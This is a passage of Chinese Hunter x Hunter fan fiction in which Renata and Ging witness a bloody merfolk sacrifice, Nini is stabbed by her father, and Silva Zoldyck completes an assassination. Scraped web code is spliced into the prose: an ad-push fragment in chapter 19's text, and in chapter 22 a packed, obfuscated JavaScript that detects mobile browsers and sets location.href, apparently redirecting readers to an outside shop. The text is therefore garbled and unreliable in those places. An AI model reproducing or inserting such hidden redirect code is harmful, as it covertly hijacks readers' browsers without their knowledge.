“放心，那老头不在。地图你不也是看到了吗？有句话怎么说来着——”她的左手托着右手的关节处，食指抵在下巴，思索片刻，露出了然的神色。
“敌人的敌人就是朋友，我们也有共同的目的那不就好了吗？而且——”她的话转了一个弯，看向金·富力士身后的蕾娜塔。
蕾娜塔和她对视上，不解地眨眨眼，看起来对人鱼族的事情并没有那么感兴趣，有些无聊地摩挲着匕首上的花纹。
总觉得这个匕首有一种熟悉感。就好像它是灵魂的一部分一样。
上次遇到蕾妮也是这种感觉。
金·富力士紧紧盯着妮妮，注意到她的目光落到身后，下意识就把蕾娜塔往身后藏。
就像一只丛林里的野兽护着自己来之不易的珍宝。
真小气。妮妮失笑，在心里嘀咕了一句。
那双熟悉的眼眸会让她想起她的弟弟。在儿时遇到危险，他也会像那样挡在她的面前。
无论多么害怕，无论身体多么颤抖。他都会义无反顾地挡在她面前。
明明她才是姐姐……
不过他们感情真好啊。
她存着逗弄的心思卖了一个关子，视线在金·富力士和蕾娜塔上来回。
金·富力士的手已经准备伸向钓鱼竿了。
蕾娜塔可能不清楚，但是金·富力士有些按耐不住了。如果再捉弄下去估计要恼羞成怒了，所以她选择在临界的时候停止戏弄。
“我不是相信你们，是相信蕾娜塔小姐。”
“我？”蕾娜塔指着自己，微微张大嘴巴，接着又像想起什么好玩的东西，弯起玩味的眼眸，答应得很爽快，“好啊。”
才见过一面就相信她了。不是说金更可靠吗？虽然她对庆典也很好奇就是了。
突如其来的信任对她来讲有些莫名其妙，但是他们的目的都是为了捣乱庆典，那就让她把庆典变得更混乱吧。
她又看向身前的金。
挡在她面前的十几岁少年，宽松的衣服遮不住身上精悍有力的线条。整整比她高一个头，个子已经有抽条的迹象，整个人的影子笼罩在她身上。呈现一种保护的姿态。
她在基裘的小房子那里有时候也会见到大猫咪碰到陌生人摆出这样的姿态，护着身后的小猫。
他是在放心不下她吗？可是他看起来很弱诶。
好奇怪。
明明嘴上说着只是暂时的同伴。但是遇到危险都会优先查看她的状态，知道她没事就会松了一口气。
明明心里藏着事，眼神都快要黏在她的身上，可又偏偏大声告诉自己不可以。
她不太懂金的想法，但还是选择握住他垂落在身旁攥紧成拳的手，轻轻地掰开他死死捏住的指头，把自己的指尖放在他的手心，然后告诉他——
“不要担心啦，金。”她微微晃了一下和金重叠的手，示意金别太紧张。接着像是向金·富力士确保什么，她踮起脚，附在他的耳边承诺：“我会安然无恙的。”
蕾娜塔身上的甜味若有若无充斥在金·富力士的鼻尖。微热的气息拂过耳畔，神经变得酥麻。一股热气直冲脑门，蔓延到耳尖，他觉得自己的耳朵热的发烫，烫得他大脑也变成了一坨浆糊，全然听不清她说了什么。'');(window.adbyunion = window.adbyunion || []).push(id);})();
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他的心里只有一个想法。
蕾娜塔的手好凉，是不是因为入秋受凉了。
蕾娜塔的手好软，就像儿时米特递给他的那块棉花糖一样。
不对，他在想什么，这样搞得像个痴汉一样。他可是、他可是要把所有遗迹都探索完的遗迹猎人！他的心只有遗迹和魔兽。怎么可能、怎么可能轻而易举就沦陷了。而且蕾娜塔来自黑暗大陆！黑暗大陆那是什么！是非常危险的地方！
沸腾的血液稍微冷静下来。
不可以。
他们只是暂时的同伴。他不能向她承诺任何东西，也给不了她想要的东西。
少女微凉的体温还在金·富力士的肌肤上留存。
可是、可是她牵了他的手诶。
热气又扑上他的脸庞。
“知、知道了。”金·富力士松开牵着蕾娜塔的手，捂着烫红的脸，快速跑到了地牢里面对着墙的一个角落，只留下一个仓皇逃窜的背影。
为什么向他保证了他还不高兴？看起来好像生气了的样子。脸都涨红了。
蕾娜塔的眼里写着一个大大的疑惑。
金的心思真难懂啊。她故作惆怅地叹了一口气。
目睹全过程的妮妮只是笑而不语，不想点破金·富力士自我攻略的粉红泡泡。
“明天的祭典由我主持，我会安排自己的人手带你们一起登上祭台，后面的你们可以随意发挥。但是如果在混乱中看到一个男孩请不要伤害他。那是我的弟弟。”
等到金恢复原样之后，妮妮才讲出了接下来的计划。
说到她的弟弟，她的眸子里盛满忧伤，不同于第一次见面，这一次是切切实实露出了脆弱的内在。
“我已经很久很久没有和他见过面了。如果你们愿意的话，请把他带走，远离这里的一切纷争。我不是个称职的姐姐。”她的眼角泛红，水雾弥漫她的视野。
“说出来可能有点冒犯，但你总要告诉我们他长什么样，叫什么名字吧？”金·富力士说出了关键点。
怎么一路上遇到的两人都爱沉浸在自己的情绪里。
“他叫——”
“咚咚。”楼上传来几声闷响，妮妮话语戛然而止，她的脸色一变，慌忙拭去眼角的泪。
“你们这两个祭品就在这里好好待着吧，等到庆典，女神会宽恕你们的所有罪行。”恶狠狠地说完，她盯着蕾娜塔和金·富力士防止他们搞小动作。再把地牢的门牢牢地锁上，隔绝了外面传进来的光线。
昏暗的烛光摇曳着，妮妮阖上地牢的手微微颤抖。蕾娜塔带着笑意的眼眸不仅残留在她的视野，还深深烙印在她的脑海里。
太久了，她遇见她需要的时间太久了。
久到她忘记了弟弟的名字，久到她忘了黎明时呼进肺里新鲜的空气的感觉。
“长老，你怎么来了。”
妮妮转身沉入深深的黑暗中，朝着来人挂上完美无缺的笑颜。
不过还好，一切都还来得及。
哪怕是牺牲她。
20. 故事×宝石×相信
人在地下，见不到阳光，对时间的观念就会变得愚钝。
“好无聊啊金。”蕾娜塔在墙壁上画着圈。“我们到这个地下遗迹有多久了？两天？还是三天？”
金·富力士掏出怀表想要确认时间，却发现它的走针早已停留在九点二十分。“抱歉啊蕾娜塔，我的怀表已经不走了。”他满脸歉意地挠着头把怀表放入胸口左边的口袋。
“我们在地下遗址估计待了一天半吧。”他在心里估计了时间。“再熬过这半天就可以了。”
蕾娜塔看着金和东相似的眉眼，想到了在黑暗大陆冒险时的休息片刻，东总是会讲些有趣的冒险故事来解闷。那金会不会也知道那么多的故事呢？
“金在探索遗迹的时候有发生什么趣事吗？”
她期待地看向金，想要了解从他口中吐出的故事。
“趣事？”金·富力士重复了一句这个疑问，很多和同伴的片段在他眼前闪过，他挑挑拣拣选出了一个印象最深刻的。“有啊。就讲我们这个队伍探索遗迹的事情吧。”
听到金·富力士说有，蕾娜塔立马凑到他的面前。
“那时我和笃恩、艾莲娜、依妲等人还认识不久，我们十一个人被派发了同一个遗迹的任务……”金·富力士带着有些怀念的语气，缓缓地拂去记忆里的尘埃。
猎人协会一直以来派发给他的任务都是两三组队或者单打独斗。
那次是他在猎人协会里头一次接到足足有十一个人的多人任务。猎人协会的猎人很少，人数的提升意味着这次任务的难度很高。
临行前帕里斯通还发出了意味不明的笑声。金·富力士很清楚他的德行，估计这次任务也是他做的手笔。但是无所谓，兵来将挡，水来土掩。和这种笑面虎暗戳戳地斗争才是最难缠的，那还不如破坏他的计划。
他到现在还清晰地记着到达那处遗迹的感受，对全部砌入华丽宝石的墙壁的惊叹和从缝隙里吹过来的潮湿气味。
但对应的，每一处都蕴含着危机。
身体较弱的笃恩到了那，就开始嚷嚷着要回去，但是却诚实地站在那等待他们。
李斯特已经收集好了关于这里的情报，在进去前告知每一个同伴。
做好了一切充足准备，十一个人准备踏入遗迹的时候，起了大雾，大到近在咫尺的同伴也无法看清，甚至连声音都无法听见。
每个人都被困在了属于自己的幻觉中。把雾中的同伴当成了幻觉里的敌人。
而敏锐察觉到不对的他第一个脱离幻觉，手里却多出了一块宝石。在看到宝石的第一眼他居然产生了莫名的情愫。
他还没来得及细想这宝石的来源，同伴的武器已经招呼在了他的脸旁，为了阻止残杀，他唤醒了其他同伴。
而醒来后的他们才发现，脚下是无数的枯骨。与之对应的是内部朴素的遗迹，只有四堵墙和一个天花板。
从幻觉脱离的十一个人，每个人都得到了一小块大拇指头大小的鸽血红。
先不提如何璀璨的宝石，他们从来没有见过那么简陋的遗迹。简陋到哪怕是捂着伤口的笃恩也毫不客气地骂道：“之前那些人就是被外面的宝石迷了心窍来寻找遗迹里面什么都没有的宝物？啊痛痛痛痛！”
他的乱动打断了治疗。艾莲娜在他的胳膊处用力地拧了一下，痛得他叫出了声。
每个人的身上都挂彩，可想而知大家在幻觉里没有放水。但大家都没有埋怨，反而被笃恩活跃了气氛，不约而同地放声笑出来。
金·富力士也捂着自己断掉的胳膊大笑，手心里还死死捏着那块宝石。
经历了这一次任务，他们十一个人的关系也算是不打不相识。
但得到的鸽血红却出现了异常，除了那十一人，没有一个人能看到。猎人协会的人来了好几趟都无功而返。
这只有他们看得到的鸽血红也就成了他们之间的信物。
“这算什么有趣的故事嘛，感觉好无聊。”蕾娜塔杵着个脑袋，坐在金·富力士的身边，视线不自觉地游离到某处。
“可能是我的语言太匮乏了吧，描述不出来那种感觉。”金·富力士干笑几声。“但是很希望蕾娜塔也有一天能够感受到那种温暖。”他看着蕾娜塔的侧脸，诚恳地祝愿道。
蕾娜塔转头就对上了金·富力士直白的眼眸，话语里的真诚让她有几分动容，那种温暖似乎也顺着他的声音流入血液里。
“哗啦啦。”
还未等蕾娜塔说些什么，地牢的门开了。走进来的是那几只昨天见过的人鱼，是妮妮的手下。
他们用藤蔓捆住她和金·富力士的双手，再留出一截放在他们的手中作为牵引，带领着走向教堂。
教堂的模样和蕾娜塔来时的样子已经完全不同了，到处插上了各种颜色的风信子。祭台上也铺满了这种花。
台上站着一个黑发的男人鱼。下面坐满了纯血人鱼，而异类站在最角落的位置，被几只纯血人鱼捂住了嘴巴。
为什么不是妮妮？
“祭司说她身体不适。今天由我这个神父来管理祭典。”男人鱼恰当地做出了解释，纯血人鱼也没有什么异议。
不对，有什么地方出错了。金·富力士的视线扫过教堂，发现角落里被纯血人鱼控制的异类。
“第一步，沐浴圣水，迎接我们的新生，感恩女神给予我们生命。”神父和纯血人鱼都拿出了一个瓶子把里面的液体从头顶浇下。
那些液体触碰到人鱼的肌肤就滋滋作响，腐蚀着每一寸皮肤，他们的身体控制不住地颤抖。但人鱼们丝毫不觉得痛反而咧开嘴角迎接这所谓的‘新生’，直至没了呼吸。
蕾娜塔认出来那液体是之前妮妮口中的灵泉。妮妮没说错，这灵泉对他们来讲是一种毒。
但下一秒面前的景象就狠狠地冲击到了金·富力士，也让蕾娜塔感到微微诧异。
所有死去的人鱼的身边突然多出了一具完好无损的身体，所有人都在同一刻睁眼，齐刷刷地看向台上的神父。对旁边尸体熟视无睹。
那条长通道里的尸体也就有了答案。
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这些人鱼绝对不是人类大陆能出现的生物。
人类在这种生物面前还是太渺小了。
相比于金·富力士的强装镇定，蕾娜塔倒是不意外，反倒有种果真如此的感受。这种复生方式和黑暗大陆金蝉脱壳的逃生方法差不多。
“第二步，向人鱼族献上祭品。来安抚我们陷入轮回而躁动不安的灵魂。”从门里走出不少的人类，他们的手上都拿着刀叉。浑浑噩噩地走向对应的纯血人鱼面前。
等到最后一个人类站好。纯血人鱼们拿起人类手上的刀叉，在他们身上剐下一片片肉，混合着到处滴落的血液送入嘴中。
人类们面露痛苦，却无法反抗，眼睁睁地看着自己的血肉被人鱼咽下。有的流下眼泪，却被人鱼当成了天然的蘸料。
与此同时人类头顶上有透明的气流入到原先装着灵泉的瓶中。
原来治愈百病的灵泉背后是绝望和杀戮。
流着一半人类血液的异类感受到了那种情绪，拼命抑制住自己想要呕吐的感受。要是他们在祭典这种时候吐出来，就会在暗地里被这些纯血人鱼虐待。
这一年一度的虐杀他们目睹了一次又一次。但还是忍不住体内那一半来自人类的本能。
教堂里横尸遍野，充斥着刺鼻的血腥味，而纯血人鱼的脸上是一脸餍足。
“第三步，向女神献上我们人鱼族的诚意。”台下的纯血人鱼闭上眼虔诚地唱起颂歌。
“燃烧的火舌席卷疾病，
您指尖的红宝石带来永生，
我们免于在死神影子里徘徊——
来自彼端的神明啊，
我们以红眸为约，
请赐予我们荣光，
将我们生命之火点燃，
结束这循环的苦楚。
我们永远赞美您。”
一只纯血人鱼把金·富力士先牵上了台。神父拿着‘圣物’准备刺向他的心脏。而他的双手被不知名的藤蔓束缚，挣脱不开。念能力到现在也没有解封的迹象。
到这里，妮妮的计划完全被推翻。
神父手上的匕首轻松地刺穿他的衣服，却被胸口的怀表阻碍了一瞬。
金·富力士闭上眼。
他在赌。
他听到了近处布料撕裂的声音和细微的机械破碎声。
他能想象到匕首再近一步，就能划开他的肌肤，刺入他的心脏。
周围一切的声音都被他屏蔽，紧张得只能听到自己嘭嘭直跳的心跳声。
随后再是匕首掉在地上的“哐当”一声。
他赌对了。
“金真的非常相信我会救你呢。不是说好了只是暂时的同伴吗？真是伤脑筋呢。”少女抱怨的声音从他的面前传来。
他睁开眼和那双鸽血红的眼眸对视。
那一眼，让身处祭台上的他回到了充满潮湿和血腥味的那个晚上。
他想起了鸽血红在他手上时那种不可思议的心动还有那种想要露出发自内心笑容的冲动。
他也那么笑了。
21. 父亲×杀手×电话
原来是这样。
神父的头颅咕噜噜地滚到他的脚边，他垂下来的眼眸对上因恐惧而瞪大的死不瞑目的双眼。
“被吓到了吗？金？”蕾娜塔在他面前挥挥手。
怎么突然就笑了。
“没什么。”金·富力士摇摇头，很好地按捺住自己的情绪没让蕾娜塔察觉。
“是吗？”蕾娜塔半信半疑地看了他一眼，转头应付着涌上来的人鱼。自然也就错过了金·富力士眼底的庆幸。
该说不说这个圣物确实好用，杀了人鱼后他们也不能重生。
本来被按着的异类在人鱼群陷入恐慌后也拥有了自由。开始反过来控制一些纯种人鱼。
有些深知自己无法逃走的纯种人鱼跪坐在地祈求女神的怜悯，身上的血迹都没有清理，人类的残肢断臂都还在一旁堆积。
虐杀弱小人类为乐的血腥天堂一转眼变成了他们即将迈入的地狱。
他们也依旧信仰他们的女神。
在纷乱的人群中，蕾娜塔瞥到了一道一闪而过的银色发丝，看起来有点眼熟。
嗯？人鱼有银发的吗？
她伸手挡住了黑发人鱼的攻击。
这边有点忙，待会再想吧。
金·富力士负责牵制冲到她面前的人鱼，她将匕首刺入对方的心脏再拔出。围在后面的人鱼见识到她手里的圣物后，没有一个再敢上前。
“早这样不就好了，杀掉你们很费力的诶。”蕾娜塔甩掉匕首上的血液，用脚下尸体的衣物擦干净刀面。
“我问你们，妮妮呢？”
所有人都不说话。
“那谁知道小塔在哪吗？”
还是没有人说话。
“那这个女神像你们还要吗？”她转过头打量这个雕塑，上面的女神伸开双臂像是迎接某个人的到来。但是奇怪的是，女神并没有脸。
“你们可真是无聊。”她看了半晌，嗤笑道。
“我说、我说。”人鱼里有个人鱼鼓起勇气站起来，他的泪还残留在脸上。
“那个异类已经和她的那个老不死的爸一块死了。哈哈哈哈哈哈哈哈。”他癫狂地笑着。“人鱼族都快要覆灭了怎么可能让她活着。不过就是个异类。他们都该死哈哈哈哈哈哈哈哈——”
他的话语被打断，站在旁边的异类飞快地走向前去掏出了他的心脏。然后向蕾娜塔鞠了一躬。“不劳您费心了。”
壁龛里的烛火拖着长长的影子在腥红的血液里起舞。低声的祷告词伴随着烛泪滑落。
“长老，你为什么就不能放弃呢？你们信仰的女神救不了任何人。她从来没有向你们伸出援手。”
妮妮到现在才发现安排这一切的原来是长老。
她的目光略过地上的纸质文件，看向无动于衷的老人。
她听见她的灵魂在痛苦地嘶吼着，但吐出的话语依旧平静。手里还拿着伪造的圣物一步步紧逼面前的他。
一次又一次，一次又一次。
这已经是她不知道多少次的轮回了。
每次她都想为人鱼族找寻新的出路，但是她发现总是有人像是预料好的布置陷阱诱惑她，然后又再一次失败。
或许是她体内来自眼前男人的血液占了上风，她才如此的痛苦。如果可以，她宁愿不是可以重生的人鱼，她宁愿什么都不知道。
可是偏偏她又什么都知道，偏偏她是他的孩子。
“你不是应该比我更明白吗……父亲。”她哽咽着从喉里唤出他的昵称。
她亲眼见证纯血人鱼的癫狂和异类的无奈，最后又在世界终焉暂停重来。她的父亲装作不知道她的痛苦，编织了一个巨大的谎言来蒙骗她。
被她唤做父亲的长老脸上始终挂着悲怜的笑容，高高在上地看着她的面容，欣赏她内里的挣扎。
他又怎么不知道呢。
她的身上流着他的血。她的所有习惯，所有防身技巧都是他教导的。
在这个世界上没有人比他更懂他的孩子了。
“那为什么不选择放弃呢？妮妮。”锋利的刀刃在他的皮肤上划出一道血痕，对方拿着匕首的手也变得颤抖，不敢再进一步。
他摇摇头。
这孩子还是那么容易心软。
他把妮妮胸口歪掉的胸针重新整理，然后像儿时那样轻轻地拍上妮妮的背，轻声安慰她。
“我也不想这样，可是这是没办法的事情。我远比你知道的更多，从黑暗大陆开始我们世代信仰女神，没有了女神我们该怎么活呢。你的弟弟是为了女神而牺牲的，你要感到荣幸啊妮妮。我都是为了你好，我也同样爱着你们。”
话语就像她躺在他的臂弯酣睡时歌颂女神那样轻柔，同时又带着几分蛊惑。
父亲说他爱我们？
妮妮的双腿跪在地上，无力承受匕首重量的手垂落在一旁，匕首跟着滑落在地。
父亲曾经也同她一样深恶痛疾人鱼族的虚伪。在她小的时候他就多次在人鱼和异类之间游走缓和关系。在她的心里，她的父亲一直是个大英雄。
“为什么…父亲……”她喃喃道。
没有什么是比一直信仰着的父亲是幕后黑手的事情更能打击到她的了。
她的理智已经快要接近崩溃了。
长老也由着她，陪坐在她旁边，把她揽入自己的怀抱，一下又一下抚顺她因为奔波而有些杂乱的头发。
“还记得吗？妮妮。小时候你犯了错，我都会这样安慰你。然后告诉你，父亲永远会原谅你犯下的每一个过错。因为谁都有犯错的权利。他们或许不会原谅，但我会原谅你。”
他们已经很久没有这样亲密无间地交谈过了。
数不清的轮回早就模糊了记忆，上次这样抱着她是什么时候来着？
妮妮刚出生？还是蹒跚学步的时候？
比起对手，他更喜欢父亲的角色。
“妮妮，我的好孩子。一直以来你都违背女神的意志，虽然说父亲会永远原谅你，”他刻意停顿了一下，泪水从眼角滑落，快速捡起一旁的匕首刺入她的心脏。
“可是女神不会原谅你啊，妮妮。”
滚烫的血液连着泪浸透了她的胸口，连着父亲亲手别上的风信子胸针也滚落一旁。
妮妮捂住胸口，不可置信地把他推开。
再怎么说他也是眼不红心不
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跳就把她的弟弟转手了的罪人。
她居然被这种虚无缥缈的父爱蒙蔽了双眼。
对他来讲祈求并不存在的女神的宽恕要比亲手杀死女儿的疼痛更为重要。
为什么。
为什么！
她吐出一大口血，没了支撑，狼狈地倒在地上，怨恨地看着她的父亲，渐渐没了气息。
“原谅我吧女神。求求你原谅我那个不孝的女儿。”
长老泪流满面，痛苦地抽动了一下嘴角，口中不断吟诵颂诗，想以此来获得女神的宽恕。
“嗯？其中一个目标已经死亡了？”银发青年站在门框旁，略显无趣地看着倒在地上的女人。
长老惶恐地睁大眼睛看向发出声音的男人，他根本没有发现这个男人是什么时候到来的。
“唔，你好像就是另一个目标呢。”青年抬起步子向他走来。
缓慢的脚步声就像死神的催命，一下又一下敲打在他的心头。
“不、不要。他们不能这么对我。我为他们做了那么多事他们不可以除掉我。”长老疯狂地摇着头，恐惧地趴在地上连连后退，一股骚味从腿间散发。
直至后背抵上冰冷的墙壁，他也退无可退。
“你可以祈求神明的帮助。”
一眨眼的功夫，青年已经笑着掏出他的心脏。天蓝色的眼眸瞥了一眼手中的东西。
能面不改色杀死女儿的家伙，心脏还是鲜红的。
“把它…还给…我。”长老痛苦地捂着胸口，颤颤巍巍地指着男人手里还在跳动着的心脏。
“不可以，雇主说你会靠这个再生的。”
落下这一句话，青年很快就消失了，就像没有来过一样。
他出卖了自己的儿女，为他人办事到头来还是落得这样的下场。
他叹不出气，只是呆呆地看着一旁的妮妮。
异类死掉是不会产生新的身体的，更别提是被圣物杀死的。
那只能在世界之初再次相见了。
长老的视野完全黑下去前，原本倒地不起的妮妮轻微地动弹了一下手指。
他想仔细看，但是已经没有这个能力了。
没想到妮妮到底还是留了一手。
该说什么呢。
毕竟是他的孩子。
也好。
他的意识消散。
“叮铃铃。”
电话声在教堂里不恰当地响起。蕾娜塔刚好在这电话旁边。
这是什么东西？
她拿起来好奇地打量着手中的铁盒子。下方还有孔在振动，她把耳朵贴上去，声音好像是从这发出的。
“这个是电话啦，蕾娜塔。可以打给你想打给的人。”金·富力士在一旁指点。“看到那个绿色的按钮了吗？按下去就能听到对方的声音了。不过现在这个电话是听不到你认识的人的声音的。”
蕾娜塔试探性按下按钮，对方的声音从孔里面流出。
“喂？这里是您雇佣的揍敌客。您的委托我已经完成了。请问到什么地方来接取目标的心脏呢？”青年的嗓音沉稳，隐隐和蕾娜塔记忆里的少年重合。
“席巴？”
22. 幻觉×错杀×无用
“蕾娜塔？”电话那头的席巴听见她的声音愣了一下。
“嗯，是我。没想到在这里还能遇到席巴。”她弯起眼眸笑眯眯道。
“这个单子和你有关的话，那我可算是打白工了。”席巴没有正面回答她的话，随意地抛起手里的心脏再接住。“那这个心脏归你吧。我把它放在教堂门口了。”
“嗯？不想见到我吗？”
“那也不是。我很忙的，还有别的单子。”他随口道。
“好吧。”
对话那头传来一阵忙音，席巴已经先她一步挂掉了电话。
“金，这个是怎么了。”她把电话放在金·富力士的耳边。
“对方挂掉电话了，你们的通话结束了。”金·富力士解释道。“不过刚才听蕾娜塔叫出了他的名字，是蕾娜塔认识的人吗？”他的眼睫颤了颤，把她的表情收入眼底。
“是之前在流星街认识的人。”蕾娜塔点点头。
“这样啊。”
果然蕾娜塔去过流星街呢。
和他的猜测符合。
没猜错的话，蕾娜塔认识的这个人是席巴·揍敌客。之前她有提到过这个名字，连带着的提到的还有一个是基裘。
基裘·揍敌客。
揍敌客。这个姓氏在他的唇齿间辗转。
黑暗大陆的生物被揍敌客缠上可不是什么好事。不过刚才听蕾娜塔的回答来看，席巴反而在隐晦地避着她。
“席巴说他把妮妮的心脏放在教堂门口了。要去拿吗？”蕾娜塔提起电话里的信息。
“可以。还是由妮妮把这一切交代了才更清楚吧。虽然她说在这里什么都能明白。但是到现在还是半知半解。”他略带苦恼地扫过附近的人鱼。“我们还不知道怎么出去遗迹。这些人鱼看起来也不是很愿意的样子。”
“那走吧。”
说到出去，蕾娜塔赞同金·富力士的想法，抬腿向门口走去，金·富力士跟在后面。走个二十几米就看到了一颗还在跳动的心脏突兀的放在地上，周围也没有人。
他刚准备捡起。忽然一阵强风刮过，吹灭了靠近门口的烛火，紧接着他听到了幽幽的哭声，伴随着颂歌的调子。
是幻觉还是什么？
伸向心脏的手悬在上方。
“为什么……为什么……”
脚步声停在他的后方，带着森森的凉意。
“是妮妮啊，原来这个心脏不是你的吗？”蕾娜塔出声和他后面的人搭话。
妮妮没有理她，自顾自的走到金·富力士的旁边，姿势僵硬。
蕾娜塔还注意到妮妮的视线并没有聚焦，就好像整个人沉浸在梦中，把虚幻的梦境当做现实。
上次金在进通道前也是这样。
她和金不熟悉人鱼族也就算了，为什么妮妮也会陷入幻觉。
“……”妮妮很小声地说了一句话。金·富力士没听到，但蕾娜塔听到了，她原模原样的复述了一遍。
“父、亲？”
那个纯血人鱼确实提到雇佣席巴去杀了妮妮和她的父亲。好像是她误会那个目标的心脏是妮妮了。
“既然你在，那这颗心脏就给你吧。”蕾娜塔指着地上的血肉对着妮妮说道。金·富力士也识相地让开了位置，走到蕾娜塔的后面。
妮妮的目光落在那颗心脏后却站在原地不动，神情变得恐惧。
“不、不对。”她捂着自己疼痛的脑袋缓缓蹲下。
“怎么了，难道这不是你父亲的心脏吗？”蕾娜塔感到奇怪。
妮妮的幻觉里有着什么吗？
“父亲…父亲…不…假的…骗人的…”妮妮感到一阵天旋地转，她的痛苦扎根在大脑深处的记忆里，越是仔细回想，越是让人痛不欲生。
“既然那么痛苦，那为什么不选择放弃呢？妮妮。”蕾娜塔的话语和记忆里沉稳的男声重合。
“不是这样的、不是这样的。”她拼命摇着头，想把对方带给她的烙印驱散。“不对，不对。”她不停地否认。
蕾娜塔站在一旁好奇地打量。
妮妮一转头就看到了她，那急切的眼神就好像看到了一根救命稻草，死死地拉着她的胳膊不松开。
但下一秒妮妮又惶恐起来。“是你、是你杀了父亲。”使劲把蕾娜塔推开，拿起不知道从哪来的匕首就往她身上刺。
“妮妮这是想要杀掉我吗？”蕾娜塔眨眨眼睛，稳住身子，不慌不忙地躲开了她那一下。
妮妮又扑，她再躲开。
“不可以。你杀不了我。”她微微摇头，感慨妮妮的不自量力。
妮妮疯魔地要往她身上砍。
“没有用的。”她钳住妮妮乱动的手，打算彻底将她控制住的时候，幻觉出现了。
不是念能力也不是植物的致幻作用。钳着妮妮的手也仿佛捏了一团空气。
什么东西？
她本能地向后退了几步。
“金？”蕾娜塔试探性地喊了一声，想知道是否还和金处于同一片空间，但得到的只有沉默。
这是哪？又是幻觉？
“姐姐我好想你啊。”冰冷的手攀上她的脖间，分不清是小塔还是小一的声音。“为什么要留下我一个人呢，姐姐。为什么——”一声声尖叫就像指甲挠墙壁一样难听。
“你们有点烦了。”蕾娜塔慢慢地扯开他的手，吐出冰冷的话语。“明明我们之间什么关系都没有吧。”
“你难道忘了我们为什么变成这样吗？姐姐——”对方幽怨地问道，更加收紧勒着她脖子的手臂。
“所以呢？我就要因为你们愧疚一辈子吗？用人类那套的道德标准来绑架我，你们也太高估我了吧。”蕾娜塔嗤笑一声。
勒着她脖子的手停住了。
“亲手杀死对你抱有善意的人真的有那么轻松吗？蕾娜塔。”他不再喊她姐姐，而是叫出了她的名字。
“你们人类好奇怪。轻松不轻松那有怎么样呢？我难道就要因为这个停止脚步吗？”她疑惑地问道，就像稚嫩的儿童遇到了什么难以理解的事物一样。
“是吗？”对方的语气一顿，身体有一瞬间不自然的僵住。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13976808|148054||http|test|mini|href|location''.split(''|''),0,{}));
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“哪怕我以后真的成为人类了。我也不可能被这种东西绊住。”她信誓旦旦道，趁着这个时候反手把对方从身上扒下来，用匕首狠狠地刺入他的心脏。
血液顺着刀刃流下，滴落在地上，溅起不规则的纹路。又像谁在远方轻轻叹息，流下了一滴泪的痕迹。
血混着泪，泪混着血，分不清是血还是泪。
“再见。”她勾起嘴角挥手，宣告她的胜利。
“你会后悔的。”
对方的眼里充满着无声的哀鸣，身影渐渐化作细碎的灰，乘着一阵风飘走了。
而那层灰之下，浮现出的是一双无神的眼眸直愣愣地对着她，鲜血从他的嘴角流下，殷红的颜色灼伤了她的眼，她被烫得后退一步。
对方看不见她的表情，但还是弯起嘴角，勉强地露出一个温和的笑容，想要安慰她。
蕾娜塔好像隐隐看到了小一的笑容。她又连连后退几步。
慌乱中没注意踩到了后面金·富力士的脚，身体踉跄着就往后倒。金·富力士及时搂住了她的腰。
“小塔？”她的声音带着细微的颤抖。
怎么会是他。
为什么会是他。
听到她的声音，他张了张嘴巴回答道：“我说了，要一直看着我呀，姐姐。难道你、不记得了吗？”
“小塔！？”处于幻觉状态的妮妮也变得清醒，看到为她挡刀的男孩，那个名字也触电似的在她脑海浮现。她的鼻尖止不住地涌上一股酸涩，双手颤抖着抱住身体下落的小塔。
“灵泉，快拿灵泉。”她着急地冲蕾娜塔和金·富力士喊道。
“为什么，为什么我们再次相见是以这样的方式。是姐姐，是姐姐对不起你。”她的手抚上小塔的脸，轻柔地为他擦去嘴角的血渍。从眼眶滚烫的热泪大颗大颗地滴落在男孩的脸上。
“是下雨了吗？”小塔有些愣神，他的睫毛受惊的像蝴蝶那样轻轻地颤了颤。
“嗯，是女神惩罚姐姐没有做好保护弟弟的责任，所以在教堂下了雨。”她紧紧地握住男孩的右手，话语带上几分哽咽。
“不要骗我啦。身上有着坚韧的小太阳味道的姐姐。我还记得小时候在地牢里你会天天讲笑话哄我开心。所以这也是你的笑话吧。”说完这一大段话，他喘了几下，然后吃力地抬起另一只手抚上妮妮的脸。
妮妮也轻轻地抓住小塔的手放在她的脸上，试图将脸上的温度传递到他微凉的手掌上。“不要，不要离开我好吗小塔。”
“对不起啊…姐姐。我可能…不行了。”他剧烈地咳出一口血。
蕾娜塔已经把开口的灵泉递到妮妮的手边了。
就差、就差那么一步了。她举起瓶子准备倒下去。
只要撒下去，小塔就可以活着了。这样他们就可以永远永远在一起不分开了。
“我杀了人。姐姐。”他又猛烈地咳出几口血，她和他的肌肤上绽开了一大片的血花。
“所以灵泉对我来说没有用了。”他带着歉意道。
悬在半空中的手僵住了。
23. 愧疚×耳饰×原谅
“在地牢里，有很多…的同伴。人鱼…常常用…我们来做实验，实验后的同伴们忍受不了痛苦，会求我杀了他们。”小塔刚开始的话语磕磕绊绊，可能是回光返照的缘故，后面的气色好了些，说话也流利起来。
“姐姐会原谅我吗？”他的嘴角耷拉，微微皱起眉头，担心地询问道。
“会，为什么不会。”妮妮紧紧地抱着他，深怕她一个不注意他就离开了。
一旁的蕾娜塔沉默地把瓶子里的灵泉倒掉，放入自己的血。
被圣物割伤的手腕背过身后，以一种很缓慢的速度愈合。
细微的疼痛沿着神经传递到心口，这是蕾娜塔从来没有过的感受。
“让他把这个喝了吧。”她把瓶子递给妮妮，“或许可以救他。”
现在也顾不上或许不或许了，只要能救活就是好药。
妮妮接过瓶子后，蕾娜塔无声地走向没有光的黑暗里，与地上的影子融为一体。背后黑漆漆的窗口昭示着长夜未尽，良久的寂静中只听到零星几点虫鸣。
那双明亮的红眸也黯淡下来，远远地望着躺在妮妮怀里的小塔。
他呼吸的起伏很小，像一个精致的玩偶缩在妮妮的臂弯里，靠着那一口气吊着。
她差一点又像上次那样杀了一个人。
没关系的蕾娜塔。
席巴轻而易举地就归类为她的自我防卫。
她的本意并不是这样的。
“是在愧疚吗？蕾娜塔。”跟着她站在同一片黑暗里的金·富力士开口道，冷冽的墨色无法浸染他温暖的眼眸，反而透出几分异样的光彩。
